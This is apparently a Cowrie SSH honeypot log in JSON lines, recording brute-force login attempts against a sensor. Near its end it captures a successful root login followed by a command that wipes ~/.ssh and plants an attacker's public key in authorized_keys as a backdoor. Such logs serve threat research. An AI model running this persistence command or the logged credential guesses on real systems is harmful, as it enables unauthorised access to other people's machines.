.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:11.610692Z","src_ip":"103.52.152.101","session":"95f381e2e130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"password","message":"login attempt [ethan/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:12.474730Z","src_ip":"103.52.152.101","session":"95f381e2e130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":39313,"dst_ip":"159.203.135.109","dst_port":22,"session":"57c48b26b570","protocol":"ssh","message":"New connection: 201.245.201.162:39313 (159.203.135.109:22) [session: 57c48b26b570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:12.572481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:12.576974Z","src_ip":"201.245.201.162","session":"57c48b26b570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:12.673388Z","src_ip":"201.245.201.162","session":"57c48b26b570","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:13.033583Z","src_ip":"213.209.159.158","session":"bbf51db2679c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:13.037129Z","src_ip":"213.209.159.158","session":"bbf51db2679c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superman","password":"1234","message":"login attempt [superman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:13.091066Z","src_ip":"201.245.201.162","session":"57c48b26b570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:13.687757Z","src_ip":"103.52.152.101","session":"95f381e2e130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:14.190327Z","src_ip":"201.245.201.162","session":"57c48b26b570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfonso","password":"alfonso","message":"login attempt [alfonso/alfonso] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:23.064907Z","src_ip":"213.209.159.158","session":"bbf51db2679c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:26.423297Z","src_ip":"213.209.159.158","session":"bbf51db2679c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5456,"dst_ip":"159.203.135.109","dst_port":22,"session":"907f2f46844c","protocol":"ssh","message":"New connection: 213.209.159.158:5456 (159.203.135.109:22) [session: 907f2f46844c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:26.503304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:28.680541Z","src_ip":"213.209.159.158","session":"907f2f46844c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:28.683042Z","src_ip":"213.209.159.158","session":"907f2f46844c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupdb","password":"123456","message":"login attempt [backupdb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:38.625566Z","src_ip":"213.209.159.158","session":"907f2f46844c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:41.999686Z","src_ip":"213.209.159.158","session":"907f2f46844c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19890,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb871e1e104","protocol":"ssh","message":"New connection: 213.209.159.158:19890 (159.203.135.109:22) [session: 9eb871e1e104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:42.082531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:44.744362Z","src_ip":"213.209.159.158","session":"9eb871e1e104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:44.747625Z","src_ip":"213.209.159.158","session":"9eb871e1e104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vnc","password":"vnc123","message":"login attempt [vnc/vnc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:54.498873Z","src_ip":"213.209.159.158","session":"9eb871e1e104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44316,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a2c753cd651","protocol":"ssh","message":"New connection: 60.199.224.2:44316 (159.203.135.109:22) [session: 5a2c753cd651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:54.931847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:54.936580Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:55.140885Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!QAZ1qaz","message":"login attempt [root/!QAZ1qaz] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:55.991756Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:56.441683Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:56.445425Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:56.449686Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:56.659591Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:57.098165Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:57.100733Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:57.308315Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:57.311721Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44330,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5525bedec53","protocol":"ssh","message":"New connection: 60.199.224.2:44330 (159.203.135.109:22) [session: f5525bedec53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:57.513655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:57.518180Z","src_ip":"60.199.224.2","session":"f5525bedec53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:57.726974Z","src_ip":"60.199.224.2","session":"f5525bedec53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:58.072912Z","src_ip":"213.209.159.158","session":"9eb871e1e104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49886,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cf51344e147","protocol":"ssh","message":"New connection: 213.209.159.158:49886 (159.203.135.109:22) [session: 8cf51344e147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:58.159971Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:58.593434Z","src_ip":"60.199.224.2","session":"f5525bedec53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:37:59.803959Z","src_ip":"60.199.224.2","session":"f5525bedec53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44346,"dst_ip":"159.203.135.109","dst_port":22,"session":"636991dd8e8e","protocol":"ssh","message":"New connection: 60.199.224.2:44346 (159.203.135.109:22) [session: 636991dd8e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:00.005141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:00.010259Z","src_ip":"60.199.224.2","session":"636991dd8e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:00.215773Z","src_ip":"60.199.224.2","session":"636991dd8e8e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:00.471853Z","src_ip":"213.209.159.158","session":"8cf51344e147","protocol":"ssh"}
